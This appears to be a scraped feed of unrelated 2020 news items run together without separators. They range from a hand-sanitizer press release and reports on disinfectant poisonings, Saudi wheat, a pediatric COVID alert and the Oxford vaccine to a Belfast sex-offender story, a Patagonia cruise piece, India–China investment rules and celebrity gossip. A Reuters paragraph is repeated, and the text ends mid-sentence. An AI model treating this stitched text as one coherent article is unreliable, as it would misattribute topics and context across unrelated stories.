approached by larger retailers to supply bulk products. This shift has set the stage for a Joint Venture between the two companies to supply hand sanitizer manufactured to the current FDA guidelines. Box has already completed orders with multiple accounts, including segments of Fortune 500 companies around the nation with new sales and inquiries happening daily. For Inquiries or Purchases Email - info@singlepoint.com or call 855-711-2009 To view an enhanced version of this graphic, please visit: https://orders.newsfilecorp.com/files/5646/55006_6b82e0d6840418ff_002full.jpg "We are excited to work with SinglePoint to expand and grow our collective business. We have seen multiple Purchase Orders and we expect an increase over the coming months as many retailers and businesses change protocols around sanitizing. This is a true B2B play with nearly all businesses needing hand sanitizer for customers and employee's protection", states Ryan Cowell, Founder Box Bioscience. Worldwide Hand Sanitation Market is Growing According to a recent report released by Global Market Insights, Inc on April 27, 2020 the Worldwide Hand Sanitizer Market to cross USD 3.6 Bn by 2026. Growing public awareness about the role of hand sanitizer in personal hygiene will act as a major impact rendering factor for the industry growth. Rising initiatives to promote the use of hand sanitizer will further propel the demand over the forecast years. Increasing government initiatives and favorable regulatory scenarios will flourish the hand sanitizer industry. North America hand hygiene market revenue will expand significantly over the forthcoming years A New Normal Operating procedure for Retail, Manufacturing, and Business has emerged Hand sanitizer is currently one of the most out of stock products. Beyond retailers looking for additional inventory there has been a major shift in business purchases including hand sanitizer for employee use, disinfectant use for cleaning tools, carts and other shared items. From production routines and work schedules to health screenings and visitor policies even manufacturers have been forced to rethink how they operate-and these changes, including frequent hand sanitization will most likely remain even after the current demand recedes. Manufacturers face challenges not found in other work environments. For instance, production employees can't make engines or shampoo from home, and production schedules typically dictate that workers take breaks at set times. Employers are coming up with different ways to observe recommended social-distancing and germ-control guidelines and hand sanitizers are part of that solution for the foreseeable future. A recent story featured on ABC's Good Morning America on April 22, 2020 titled "Grocery stores see food supplies stabilizing, but don't expect hand sanitizer anytime soon." highlighted the following While grocers and experts claim the food supply is stabilizing, the demand for sanitizer products continues to overwhelm the market. Rationing for items like hand sanitizer will likely continue. All of the grocery stores ABC News spoke with named sanitizers as the products with demand that continues to outstrip supply. Wegmans, along with several other retailers, have implemented purchase limits. "We are seeing better conditions in many categories; however, toilet paper, hand sanitizer and paper products have been slower to rebound," said Maria Brous, spokesperson for Publix, a supermarket chain headquartered in Florida. "For this very reason, customers will still see limits in place across our stores." The two companies, through the JV, will collaborate to manufacture and distribute sanitizing products. The initial priority has been focused on increasing production and sales of bulk hand sanitizer to meet the current demand. An increasing demand has come from non-traditional retail and well as manufacturing and other service businesses concerned with providing solutions to meet the new safety protocols, these businesses have been or are currently being undeserved to the increased demand. The JV has plans to quickly introduce additional products leveraging the Simplex + Virus Killer brand to potentially include wipes, spray, and nasal spray. About SinglePoint, Inc. Founded in 2011 SinglePoint, Inc (SING) invests in and acquires brands and companies that will benefit from injection of growth capital and the sales and marketing expertise of SinglePoint. The company portfolio currently includes solar, hemp and technology applications. SinglePoint is working to grow the company to a multinational brand. Connect on social media at: https://www.facebook.com/SinglePointMobile https://twitter.com/_SinglePoint https://www.linkedin.com/company/singlepoint https://www.youtube.com/user/SinglePointMobile For more information visit: www.SinglePoint.com Forward-Looking Statements Certain statements in this news release may contain forward-looking information within the meaning of Rule 175 under the Securities Act of 1933 and Rule 3b-6 under the Securities Exchange Act of 1934, and are subject to the safe harbor created by those rules. All statements, other than statements of fact, included in this release, including, without limitation, statements regarding potential future plans and objectives of the Company, are forward-looking statements that involve risks and uncertainties. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Technical complications, which may arise, could prevent the prompt implementation of any strategically significant plan(s) outlined above. The Company undertakes no duty to revise or update any forward-looking statements to reflect events or circumstances after the date of this release. Corporate Communication SinglePoint Inc. 888-OTC-SING investors@singlepoint.com www.singlepoint.com To view the source version of this press release, please visit https://www.newsfilecorp.com/release/55006 Two men in Georgia drank liquid cleaning products over the weekend in misguided attempts to prevent contracting COVID-19 after President Donald Trump floated the idea of ingesting disinfectant as a treatment for the virus. Georgia Poison Center Director Gaylord Lopez said both men had histories of psychiatric problems and are expected to recover. Lopez said he did not know if the men drank the chemicals because they heard Trump's statements during a White House briefing last week, where he wondered aloud if injecting disinfectant into the lungs could treat the virus. In Kansas, state health officer Dr Lee Norman mentioned a similar case at a press briefing on Monday as he revealed that the Kansas Poison Control Center has seen a more than 40 percent increase in cleaning chemical cases. Norman said that a man, who was not identified, 'drank a product because of the advice he'd received' but did not specify the source of the advice. 'We're doing what we can to counter-message against that kind of remedy,' he said. Scroll down for video Two men in Georgia and another man in Kansas drank cleaning products over the weekend after President Trump floated the idea of ingesting disinfectant as a treatment for coronavirus during a briefing last Thursday (pictured) During a White House briefing last week, Trump mused about whether applying highly toxic disinfectant directly to the lungs could fight COVID-19 after mentioning that researchers were looking into the chemicals' effects on the virus. 'Is there a way we can do something like that, by injection inside or almost a cleaning?' he asked. 'Because you see it gets in the lungs and it does a tremendous number on the lungs. So it would be interesting to check that.' The suggestion was quickly condemned by health experts who say drinking cleaning products such as bleach and Lysol is incredibly dangerous and potentially fatal. 'PLEASE always talk to your health provider first before administering any treatment/ medication to yourself or a loved one,' the US Surgeon General's office tweeted. Trump and the White House have insisted that he was being 'sarcastic' when he made the cleaner comments, accusing the media of misrepresenting what he said. He addressed the matter again at a briefing on Monday when asked by a reporter about 'Maryland and other states' where governors say they've seen a spike in people misusing disinfectant. 'I can't imagine why,' the president said. Probed about whether he takes responsibility, he followed up: 'No, I don't.' Asked about Trump's comments last week, Lopez told The Atlanta Journal-Constitution that he felt too many people were misinterpreting the president, saying that he didn't actually recommend injecting disinfectants. Georgia Poison Center Director Gaylord Lopez (left) said both men who drank cleaner in his state had histories of psychiatric problems and are expected to recover. In Kansas, state health officer Dr Lee Norman mentioned a similar case at a press briefing on Monday (right) as he revealed that the Kansas Poison Control Center has seen a more than 40 percent increase in cleaning chemical cases Household cleaning brands Lysol and Clorox have urged the public not to ingest their products On Friday, the Maryland Emergency Management Agency put out a warning telling residents 'that under no circumstances should any disinfectant product be administered into the body through injection, ingestion or any other route' However, critics say the increase in cleaning chemical cases shows the immense influence Trump's words have on Americans' actions. This isn't the first time the president has been accused of driving people to make dangerous decisions to confront coronavirus. Last month, an Arizona couple in their 60s were hospitalized after they drank fish tank cleaner thinking it was the drug championed by Trump as a miracle cure for the virus. Gary Lenius died and his wife Wanda was left in critical condition after they took chloroquine phosphate, confusing it with hydroxychloroquine. 'We were afraid we were getting sick. We were getting really worried,' Wanda later told NBC. 'We saw his [Trump's] press conference. It was on a lot, actually. Trump kept saying it was pretty much a cure.' By Maha El Dahan DUBAI (Reuters) - Saudi Arabia's state grain buyer SAGO said on Monday it bought 60,000 tonnes of Ukraine wheat from investment firm SALIC, marking its first purchase from agricultural investments overseas aimed at enhancing the country's food security. Gulf states, dependent on imports for around 80% to 90% of their food, have poured cash into buying tens of thousands of hectares of cheap farmland and other agricultural assets elsewhere to shore up their food security for over a decade By Maha El Dahan DUBAI (Reuters) - Saudi Arabia's state grain buyer SAGO said on Monday it bought 60,000 tonnes of Ukraine wheat from investment firm SALIC, marking its first purchase from agricultural investments overseas aimed at enhancing the country's food security. Gulf states, dependent on imports for around 80% to 90% of their food, have poured cash into buying tens of thousands of hectares of cheap farmland and other agricultural assets elsewhere to shore up their food security for over a decade. Saudi Arabia, the world's top oil exporter, has long encouraged its private sector to invest in agricultural land abroad, without tangible results in terms of imports for SAGO -- until Monday's purchase. SALIC, the Saudi Agricultural and Livestock Investment Co and an arm of the desert kingdom's sovereign wealth fund, was formed in 2011 to secure food supplies for the desert kingdom through mass production and investments. Its officials declined comment. The Ukraine wheat cargo was bought at $248 a tonne, after the kingdom asked Saudi private investors with farmland overseas on April 6 to supply it with around 10% of its local needs this year. The state grain buyer estimates it will need 355,000 tonnes from the private sector. The Saudi call comes as regional food importers scramble to beef up reserves as coronavirus lockdowns up-ended supply chains. "The 60,000 tonnes were purchased from SALIC," a SAGO official told Reuters. The Ukraine wheat that was sourced is of 11% to 12% protein content and is for arrival in September. SAGO renewed on Sunday its call for more investors to subscribe to supply it with the remaining quantity of wheat. "This first round, the two companies that registered were SALIC and Al Rajhi International for Investment," SAGO said. "We will still buy more." Investors who register with SAGO to sell wheat from their agricultural land abroad have to be at least 51% Saudi-owned, according to regulations published by SAGO. The wheat produced abroad also has to abide by all of SAGO's wheat import specifications and the quantity produced from one origin country can't be less than 5,000 tonnes. Saudi Arabia normally imports wheat from the United States, South America, Australia and Europe. SAGO relaxed its bug-damage specifications for wheat last year, a move designed to allow for more imports of the grain from the Black Sea region. Its first Russian wheat purchase was shipped earlier this month. (Reporting by Maha El Dahan; Editing by Veronica Brown and Emelia Sithole-Matarise) This story has not been edited by Firstpost staff and is generated by auto-feed. A doctor in protective suit prepares before visiting patients suffering from the coronavirus disease (COVID-19) in Bergamo, the epicentre of Italy's outbreak. Photo: REUTERS/Flavio Lo Scalzo Irish paediatricians have been told to look out for a rare but dangerous reaction in children that may be linked to coronavirus infection. Dr Karina Butler, a consultant in infectious diseases in Crumlin Hospital, Dublin said the alert was sent out by the NHS and now passed on to Irish doctors. UK GPs said that intensive care departments in London and other parts of the UK have been treating severely sick children with unusual symptoms. This includes "multi-system inflammation" with flu-like symptoms. Some, but not all, tested positive for coronavirus. It is unclear how many children have experienced the reaction, although the numbers will be low. Read More NHS England medical director Stephen Powis said they had become aware of reports of rare, severe illness in children. "It's only in the last few days that we have seen those reports. We have asked our experts to look into this as a matter of urgency." The alert, issued by NHS England, said there was "a growing concern" that a coronavirus-related inflammatory syndrome is emerging in children in the UK or that there may be another, as yet unidentified, infection linked to these cases. These young patients of varying ages were extremely ill. They had similar features to atypical Kawasaki Disease and toxic shock syndrome, which can include a high temperature, low blood pressure, a rash and difficulty breathing. Some also had gastrointestinal symptoms - tummy pain, vomiting or diarrhoea - and inflammation of the heart, as well as abnormal blood test results. Experts say these are the signs you can see when the body becomes overwhelmed as it tries to fight off an infection. The alert advises these cases need urgent treatment. But experts stress that very few children become severely ill with coronavirus - evidence from around the world suggests they are the population least affected by the disease. Dr Nazima Pathan, a consultant in Paediatric Intensive Care in Cambridge, said colleagues in Spain and Italy had been reporting similar cases: "Some of the children have presented with a septic shock type illness and rashes - the kind of presentation we would expect to see in toxic shock syndrome and Kawasaki disease (which affects blood vessels and the heart). "Overall, children seem to be more resilient to serious lung infection following exposure to coronavirus, and the numbers admitted to intensive care units are relatively low." UN chief Antonio Guterres has warned that extremist groups are taking advantage of the COVID-19 lockdowns and intensifying efforts on social media to recruit youths online by exploiting their anger and despair, asserting that the world cannot afford a lost generation due to the unprecedented global health crisis. The UN Secretary-General made the remarks on Monday during a video conference to review the five years since its adoption of a landmark resolution on youth, peace and security. We can already see such groups taking advantage of the COVID-19 lockdowns, intensifying their efforts on social media to spread hatred and to recruit young people who may be spending more time at home and online, he said. Guterres told the Security Council that even before the current crisis, young people were facing enormous challenges. Listing startling numbers, he said one of every five young people was already not in education, training or employment and one of every four is affected by violence or conflict. Every year, 12 million girls become mothers while they themselves are still children. These frustrations and, frankly, failures to address them by those in power today, fuel declining confidence in political establishments and institutions. And when such a cycle takes hold, it is all too easy for extremist groups to exploit the anger and despair, and the risk of radicalisation climbs, he said. Issuing a call to action on youth, peace and security, Guterres said the world cannot afford a lost generation of youth, their lives set back by COVID-19 and their voices stifled by a lack of participation. Let us do far more to tap their talents as we tackle the pandemic and chart a recovery that leads to a more peaceful, sustainable and equitable future for all. With over 1.54 billion children and youth out-of-school and young people acutely feeling the impact of the COVID-19 crisis, Guterres said countries must do more to harness the talents of young people to address the crisis and its aftermath. In presenting his first report on the Security Council resolution, the UN chief said youth were already confronting numerous challenges even before the pandemic, including in accessing education, or through being affected by violence and conflict. Those pressing for peace or upholding human rights have been threatened. Despite these obstacles, young people across the world have joined the common fight against the coronavirus disease, supporting both frontline workers and people in need. And they continue to push for change. UN Youth Envoy Jayathma Wickramanayake spoke of the need for more meaningful partnerships between young people and the civil society organisations and government institutions that work on the youth, peace and security (YPS) agenda. To date, there are no national action plans on YPS but I'm pleased to note that in some countries, these are in the process of development, she said. For a national roadmap to be successful, a participatory, transparent and youth-led process with adequate resources are needed, she said. Issuing his four-point call to action for the Council, Guterres urged members to do more to address the various challenges facing young people. He also called for investment in youth participation, but also in their organisations and initiatives. We must strengthen human rights protections and protect the civic space on which youth participation depends, he said. And fourth, we must emerge from the COVID-19 crisis with a determination to recover better - massively increasing our investment in young people's capacities as we deliver the Sustainable Development Goals. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A notorious child rapist is refusing to leave a sheltered housing complex despite other residents' pleas. 'Big' Dave Parkinson, a former Guinness world record-holding strongman, moved into the complex in north Belfast after being freed from prison. The 77-year-old pervert, who is originally from Fermanagh, served a 15-year sentence for a string of sex attacks on girls as young as six, including three rapes. He first showed up at the sheltered accommodation several weeks ago, befriending locals who had no idea about his past. His true nature was only discovered in recent days, prompting pleas to housing chiefs from the paedophile's worried neighbours to relocate him. But their calls have so far fallen on deaf ears, with one resident telling Sunday Life: "When I complained about being forced to live next to a child rapist, I was told that I should put in for a transfer if I didn't like it. "No one wants that monster living here, people just don't feel safe near him." Last weekend red graffiti branding Parkinson "Dave the paedophile" and "child creep" appeared outside his home. Other messages, quickly painted over by the housing association, included "may you rot in hell Dave Parkinson", and "dead man". Parkinson, who lived in Brookebrough before being jailed, rarely ventures outside the complex, spending hours on end doing laps of a courtyard. Neighbours have also seen him exercising with makeshift weights, including two buckets filled with water which he attaches to a brush shaft to do squats. Expand Close David Parkinson / Facebook Twitter Email Whatsapp David Parkinson "Even though he is well into his 70s, he is still a big strong fella," said one of the residents. When Parkinson first arrived he tried to win over his neighbours by doing odd jobs. It was only after learning his full name and checking on the internet that they realised one of Northern Ireland's most notorious paedophiles was living in their midst. "The residents couldn't believe it when they found out, then it dawned on everyone why he was being so nice and then became so shifty when anyone asked about his background," added our source. "We've all complained to the housing association about him being here, but it's like talking to a brick wall." After residents found out about Parkinson's background and his flat was targeted in a graffiti attack, the housing association put a security guard in the building. The housing association told Sunday Life it is unable to comment on individual cases due to tenant confidentiality but stressed "the safety of our tenants and the wider community is of paramount importance to us". Before being jailed in 2009, the pervert was a minor celebrity thanks to his strongman feats. In 1974 he entered the Guinness Book of Records when he became the world beer barrel-lifting champion during the World Beer Show at Earls Court in London. For the next 35 years he toured the country doing power-lifts and appearing on TV, his outwardly affable personality masking a horrific secret: he was raping children. Jailing Parkinson for 15 years, Judge Piers Grant said he had "hidden behind the facade of decency and reputation" to carry out the "outrageous offences". He was convicted of 17 sex crimes, including three rapes of primary school children during a four-year period in the early 1990s. Parkinson, described as being "like a giant to small children", forced one of his victims to watch a pornographic video before raping her, warning the terrified child that her family would "disappear" if she told anyone. He lured victims to his home by throwing cash over a wall and encouraging children to follow the money. The judge who handled the case said a lengthy custodial sentence was the only suitable punishment and added there was a "very real risk" the pervert would reoffend. Speaking after the trial, one of Parkinson's victims said: "No one should have to suffer that. I suffered it long enough. I'm pleased with the sentence but just relieved it's over." That case was the second time Parkinson had been convicted of abusing children. In 2007 he was jailed for two years for indecently assaulting an eight-year-old girl. His new home is a sheltered housing scheme with dozens of apartments that offer support for older people. Ovie Omo-Agege, deputy senate president, has told those pressuring President Muhammadu Buhari to reopen the economy that only the living benefit from the economy. The Deputy speaker, while speaking during Tuesday plenary, said he is worried over the raging agitation for Buhari to reopen the economy in the face of COVID-19. The motion entitled COVID-19 Pandemic: Reviewing the national response to the challenges and the way forward was sponsored by Abdullahi Yahaya, the majority leader. He said, What concerns me most is the raging agitation to rush Mr President to reopen the country. Mr President, Im worried and very concerned. Read Also: When Will Buhari Give A Speech And Submit Himself For Questioning? Ezekwesili I am still bewildered why the decision of lockdown was still limited to these three states. What concerns me the most is the urging agitation to reopen the economy. I am worried and concerned. The argument is being made that the cure should not be worse than the problem. People are worried about the effect of the pandemic. It is my belief that you have to be alive first before you can seek the benefit of an economy. It does not appear that those who are clamouring for the reopening of this economy are mindful of that. For a historian, we know what occurred in 1918, following the Spanish flu, we remember how people were agitating and as soon as that was done, there was a spike off the spread of the disease. T hat was in 1918 and 1919. I am worried that the president is now being pressured. In the first 14 days of the lockdown, we didnt prepare enough by way of palliatives. There is this misconception that the federal government has the responsibility to provide the palliatives. That should not be the situation. Scientists said the first few million doses of their vaccine could be available by September, if it proves to be effective. In the worldwide race for a vaccine to stop the coronavirus, the laboratory sprinting fastest is at Oxford University. Most other teams have had to start with small clinical trials of a few hundred participants to demonstrate safety. But scientists at the universitys Jenner Institute had a head start on a vaccine, having proved in previous trials that similar inoculations including one last year against an earlier coronavirus were harmless to humans. That has enabled them to leap ahead and schedule tests of their new coronavirus vaccine involving more than 6,000 people by the end of next month, hoping to show not only that it is safe but also that it works. The Oxford scientists now say that with an emergency approval from regulators, the first few million doses of their vaccine could be available by September at least several months ahead of any of the other announced efforts if it proves to be effective. Now, they have received promising news suggesting that it might. Scientists at the National Institutes of Healths Rocky Mountain Laboratory in Montana last month inoculated six rhesus macaque monkeys with single doses of the Oxford vaccine. The animals were then exposed to heavy quantities of the virus that is causing the pandemic exposure that had consistently sickened other monkeys in the lab. But more than 28 days later all six were healthy, said Vincent Munster, the researcher who conducted the test. The rhesus macaque is pretty much the closest thing we have to humans, Munster said, noting that scientists were still analyzing the result. He said he expected to share it with other scientists next week and then submit it to a peer-reviewed journal. Immunity in monkeys is no guarantee that a vaccine will provide the same degree of protection for humans. A Chinese company that recently started a clinical trial with 144 participants, SinoVac, has also said that its vaccine was effective in rhesus macaques. But with dozens of efforts now underway to find a vaccine, the monkey results are the latest indication that Oxfords accelerated venture is emerging as a bellwether. It is a very, very fast clinical program, said Emilio Emini, a director of the vaccine program at the Bill and Melinda Gates Foundation, which is providing financial support to many competing efforts. Which potential vaccine will emerge from the scramble as the most successful is impossible to know until clinical trial data become available. More than one vaccine would be needed in any case, Emini argued. Some may work more effectively than others in groups like children or older people, or at different costs and dosages. Having more than one variety of vaccine in production will also help avoid bottlenecks in manufacturing, he said. But as the first to reach such a relatively large scale, the Oxford trial, even if it fails, will provide lessons about the nature of the coronavirus and about the immune systems responses that can inform governments, donors, drug companies and other scientists hunting for a vaccine. This big UK study, Emini said, is actually going to translate to learning a lot about some of the others as well. All of the others will face the same challenges, including obtaining millions of dollars in funding, persuading regulators to approve human tests, demonstrating a vaccines safety and after all of that proving its effectiveness in protecting people from the coronavirus. Paradoxically, the growing success of efforts to contain the spread of COVID-19, the disease caused by the virus, may present yet another hurdle. Were the only people in the country who want the number of new infections to stay up for another few weeks, so we can test our vaccine, professor Adrian Hill, the Jenner Institutes director and one of five researchers involved in the effort, said in an interview in a laboratory building emptied by Britains monthlong lockdown. Ethics rules, as a general principle, forbid seeking to infect human test participants with a serious disease. That means the only way to prove that a vaccine works is to inoculate people in a place where the virus is spreading naturally around them. If social distancing measures or other factors continue to slow the rate of new infections in Britain, he said, the trial might not be able to show that the vaccine makes a difference: Participants who received a placebo might not be infected any more frequently than those who have been given the vaccine. The scientists would have to try again elsewhere, a dilemma that every other vaccine effort will face as well. The Jenner Institutes coronavirus efforts grew out of Hills so-far unsuccessful pursuit of a vaccine against a different scourge, malaria. He developed a fascination with malaria and other tropical diseases as a medical student in Dublin in the early 1980s, when he visited an uncle who was a priest working in a hospital during the civil war in what is now Zimbabwe. I came back wondering, What do you see in these hospitals in England and Ireland? Hill said. They dont have any of these diseases. The major drug companies typically see little profit in epidemics that afflict mainly developing countries or run their course before a vaccine can hit the market. So after training in tropical medicine and a doctorate in molecular genetics, Hill, 61, helped build Oxfords institute into one of the largest academic centers dedicated to nonprofit vaccine research, with its own pilot manufacturing facility capable of producing a batch of up to 1,000 doses. The Jenner Institutes effort against the coronavirus uses a technology that centres on altering the genetic code of a familiar virus. A classic vaccine uses a weakened version of a virus to trigger an immune response. But in the technology that the institute is using, a different virus is modified first to neutralize its effects and then to make it mimic the one scientists seek to stop in this case, the virus that causes COVID-19. Injected into the body, the harmless impostor can induce the immune system to fight and kill the targeted virus, providing protection. Hill has worked with that technology for decades to try to tweak a respiratory virus found in chimpanzees to elicit a human immune response against malaria and other diseases. Over the last 20 years, the institute has conducted more than 70 clinical trials of potential vaccines against the parasite that causes malaria. None have yet yielded a successful inoculation. In 2014, however, a vaccine based on the chimp virus that Hill had tested was manufactured in a large enough scale to provide 1 million doses. That created a template for mass production of the coronavirus vaccine, should it prove effective. A longtime colleague, professor Sarah Gilbert, 58, modified the same chimpanzee virus to make a vaccine against an earlier coronavirus, Middle East respiratory syndrome. After a clinical trial in Britain demonstrated its safety, another test began in December in Saudi Arabia, where outbreaks of the deadly disease are still common. When she heard in January that Chinese scientists had identified the genetic code of a mysterious virus in Wuhan, she thought she might have a chance to prove the speed and versatility of their approach. We thought, Well, should we have a go? she recalled. Itll be a little lab project, and well publish a paper. It did not stay a little lab project for long. As the pandemic exploded, grant money poured in. All other vaccines were soon put into the freezer so that the institutes laboratory could focus full-time on COVID-19. Then the lockdown forced everyone not working on COVID-19 to stay home altogether. The whole world doesnt usually stand up and say, How can we help? Do you want some money? Hill said. Vaccines are good for pandemics, he added, and pandemics are good for vaccines. Other scientists involved in the project are working with a half-dozen drug manufacturing companies across Europe and Asia to prepare to churn out billions of doses as quickly as possible if the vaccine is approved. None have been granted exclusive marketing rights, and one is the giant Serum Institute of India, the worlds largest supplier of vaccines. Donors are currently spending tens of millions of dollars to start the manufacturing process at facilities in Britain and the Netherlands even before the vaccine is proven to work, said Sandy Douglas, 37, a doctor at Oxford overseeing vaccine production. There is no alternative, he said. But the team has not yet reached an agreement with a North American manufacturer, in part because the major pharmaceutical companies there typically demand exclusive worldwide rights before investing in a potential medicine. I personally dont believe that in a time of pandemic there should be exclusive licenses, Hill said. So we are asking a lot of them. Nobody is going to make a lot of money off this. The Jenner Institutes vaccine effort is not the only one showing promise. Two U.S. companies, Moderna and Inovio, have started small clinical trials with technologies involving modified or otherwise manipulated genetic material. They are seeking both to demonstrate their safety and to learn more about dosing and other variables. Neither technology has ever produced a licensed drug or been manufactured at scale. A Chinese company, CanSino, has also started clinical trials in China using a technology similar to the Oxford institutes, using a strain of the same respiratory virus that is found in humans, not chimps. But demonstrating the effectiveness of a vaccine in China may be difficult because COVID-19 infections there have plummeted. Armed with safety data from their human trials of similar vaccines for Ebola, MERS and malaria, though, the scientists at Oxfords institute persuaded British regulators to allow unusually accelerated trials while the epidemic is still hot around them. The institute last week began a Phase I clinical trial involving 1,100 people. Crucially, next month it will begin a combined Phase II and Phase III trial involving another 5,000. Unlike any other vaccine project now underway, that trial is designed to prove effectiveness as well as safety. The scientists would declare victory if as many as a dozen participants who are given a placebo become sick with COVID-19 compared with only one or two who receive the inoculation. Then we have a party and tell the world, Hill said. Everyone who had received only the placebo would also be vaccinated immediately. If too few participants are infected in Britain, the institute is planning other trials where the coronavirus may still be spreading, possibly in Africa or India. Well have to chase the epidemic, Hill said. If it is still raging in certain states, it is not inconceivable we end up testing in the United States in November. David D. Kirkpatrick c.2020 The New York Times Company Isn't it fascinating how we can interpret the same things so differently? When a crew member on our expedition cruise describes the first possible excursion a steep hike through a Patagonian forest the words that leap out at me are muddy, challenging and not for everyone. However, my three teenagers hear only fun and exciting. They are emphatic: Were doing it! My twins, Nathalie and Gabriel, and their younger sister, Hannah, crave an adventure which leaves behind their city lives, and this cruise to Patagonia a sparsely populated region at the foot of Chile and Argentina is as adventurous as it gets. Our ship is the new 210-passenger Ventus Australis, which has been specifically designed to navigate this regions islands and the Tierra del Fuego islets a treacherous, uninhabited wilderness of narrow fjords and channels. It is so remote, we are its only visitors. Unforgettable adventure: Passengers from Ventus Australis are taken to their next land-based excursion in Patagonia in small inflatables We prepare for our first disembarkation, but even if we never set foot on land I would be perfectly content as the ship is quite simply divine. Cabins are deluxe, food is gourmet and excellent Chilean wines are included in the price. Better still, travel in December, as we did, and this luxury is surprisingly affordable: one child goes free per parent. A bargain, which explains why there are so many youngsters on board, all chomping at the bit to get boots stuck into that mud. Pretty soon were donning lifejackets and being whisked in small Zodiac boats towards a beach, zipping through a fjord surrounded by vast, snow-capped mountains. Its here that the challenging 90-minute hike begins. Mud is indeed plentiful as we follow our guide Vicky up a shrub-coated moraine a landmass created by debris from a former glacier. Instead of dwelling on each calf-high squelch, I marvel at how pure the air is and the wildness of the scenery; how the sea is a glorious blue flanked by the statuesque, never-ending Andes. Im also mindful that were following in the footsteps of Charles Darwin, who twice stopped off in Tierra del Fuego while sailing in HMS Beagle in 1832. Reaching the summit is thrilling enough, but theres another treat at the top. Look! My kids point skyward. Two Andean condors the largest flying birds in the world soar overhead. The new 210-passenger Ventus Australis has been specifically designed to navigate this regions islands and the Tierra del Fuego islets. Pictured is one of the cabins Thanks to floor-to-ceiling windows in the lounges, you can gaze at the unforgettable scenery Our four-night voyage has a fixed itinerary, with two excursions offered on most days. But the crew warn us that Mother Nature might prevent certain landings, such as our visit to Cape Horn, the southernmost point of South America where the seas are notoriously rough. For now, the schedule runs like clockwork. Theres time for a buffet lunch, where I feast on parmesan asparagus, king crab souffle and smoked salmon salad. And then were back in the Zodiacs, where my normally surly son becomes unrecognisable by pulling (and maintaining) a megawatt smile to rival that of Tom Cruise. Why? Because we spot a penguin colony on a beach and Gabriel, like everyone else in our boat, goes potty over these comical birds. This year is the 500th anniversary of the discovery of the strait at the bottom of South America by explorer Ferdinand Magellan after whom this breed of penguin is named which enabled him to lead the first ever circumnavigation of the world. Back on board Ventus, theres no wi-fi or TV, and we all agree this is a good thing. We immerse ourselves in our surroundings, watching glaciers glide past and dolphins frolicking. And thanks to floor-to-ceiling windows in the lounges, we also multi-task gazing at the scenery and playing cards simultaneously. Then there are expedition lectures given on subjects such as global warming and Patagonian icefields, not to mention crew-led karaoke and quizzes. But its the land adventures that give the biggest thrill, where the choice is always an educational amble or a physical challenge. Guess which one my brood inevitably picks? 'Cabins are deluxe, food is gourmet and excellent Chilean wines are included in the price,' writes Jo Kessel Thats how I end up huffing and puffing on the hike, but when I reach the summit, the view leaves me with a huge sense of accomplishment. Thats also how I end up clambering across slippery rocks for an hour until Im looking down over Pia Glacier, a sheer, jagged, ice-blue sculpture on a truly giant scale. Its one of Patagonias success stories a glacier thats advancing instead of retreating and the ice on top of it looks almost fluid, as if in motion. Pia Glacier is the size of Santiago, where our adventure began. We had spent three nights at the new Mandarin Oriental, from where wed explored the Chilean capital, and at the time I couldnt have imagined being anywhere more exciting and vibrant. But then wed flown south to Patagonia, which felt vast and vital. Just being there made us feel like pioneers. Home turf: Enjoy a visit to a penguin colony Over the centuries, an estimated 12,000 sailors have drowned off Cape Horn, the point at which the Atlantic and Pacific Oceans meet, but the water is reassuringly flat on our trip. And so we become some of the privileged few to tread on South Americas southernmost terrain. On a good day you can see Antarctica from here, jokes a crew member. The white continent is 500 miles away, and this is the last land before you reach it. We began our voyage interpreting what this holiday offered very differently, but by the time we pull up anchor to head home, weve found we all loved not seeing any other people or civilisation. The unforgettable scenery is extraordinary. And we all agree that being at the end of the world has made us reluctant to return to our urban lives. Fear feeds on fear. There's no greater fear in world economies today than China, as countries grapple with the fallout of the pandemic that originated in the Chinese city of Wuhan. Was coronavirus a bio-weapon? Was it allowed to spread intentionally? Was it meant to destruct the world's biggest economies so that China could gain? Is China taking advantage of the global stock market crash to shore up equity in strategic firms? Those are just some of the questions leaders the world over are struggling to answer. Most have already made precautionary moves to block any misadventure. Late March, the European Union (EU) was the first to flag to member states that healthcare equipment firms and research establishments may be takeover targets via the FDI route, asking them to set up FDI screening mechanisms. On April 8, Germany tightened rules protecting local firms from unsolicited takeovers by non-EU (read China) investors. France, Italy, and Spain followed with similar rules. So did the UK, Australia, Canada - even the US. So, when the Chinese government-owned People's Bank of China (PBoC) triggered a notification to stock exchage regulator SEBI for surpassing 1 per cent equity holding in one of India's biggest and most respected housing finance companies, HDFC - which also owns the largest private bank HDFC Bank - it naturally set alarm bells ringing from SEBI, right up to the Ministry of Finance. PBoC already owned 0.8 per cent of HDFC. As HDFC's stock value crashed 32 per cent, it had only acquired an additional 0.2 per cent, a move that would be considered smart, coming from a portfolio investor. But with global moves to block such deals, the seed of suspicion had already been sown. Since India's stock market crashed a hefty 23.4 per cent since the first coronavirus case was detected in Kerala, listed firms were particularly vulnerable. Was this a precursor to more such moves? Within days of PBoC's acquisition, the Centre moved in swiftly, amending FDI norms that mandate explicit government approval for FDI from contiguous countries. Since the rule already existed for Bangladesh and Pakistan, the aim was at none other than China. SEBI is doing its own groundwork to establish whether foreign portfolio investors such as PBoC also need to be brought under a similar rule. The Chinese Embassy issued a scathing statement the following day, calling the move discriminatory and violating WTO norms. But India has stood its ground. Yet, this is just the beginning. Regulatory and a possible consumer backlash against Chinese investments, companies and products in India, coupled with the coming face-off to present itself as an alternative to China for manufacturing, will pit the two rivals against each other more often than not. India is wooing 300-odd foreign firms pursuing production in the country as an alternative to China in sectors such as mobiles, electronics, medical devices, textiles and synthetic fabric. Last September, corporate tax for new manufacturers was slashed to 17 per cent, lower than in any country in South-east Asia. The next target is reducing the nearly $58-billion trade deficit with China and Hong Kong. The government plans to reduce import dependence on China in sectors such as electrical equipment, active pharma ingredients (drug parks policy has been announced), optical fibre, flat rolled iron, boilers, tiles, sanitary ware, leather, suitcases, paper boards, silk, umbrellas and toys. In the cover story, Sumant Banerji, Rukmini Rao and Niti Kiran examine what India's move means for Chinese investments, companies and trade. Television actor Hina Khan and her boyfriend Rocky Jaiswals relationship has become long-distance, thanks to the coronavirus lockdown. He has been missing her and has penned a romantic note for her, which he shared on Instagram stories. The flow of time has made our foundation so strong. No matter how far apart the floors are, were like a tall building. Well always be connected. Well always be together! Rocky wrote, sharing a stunning photo of Hina along with it. She replied on her own Instagram stories, Awww nice edit. Always my love. Rocky Jaiswal wrote a sweet note for Hina Khan. Hina, who shot to fame as 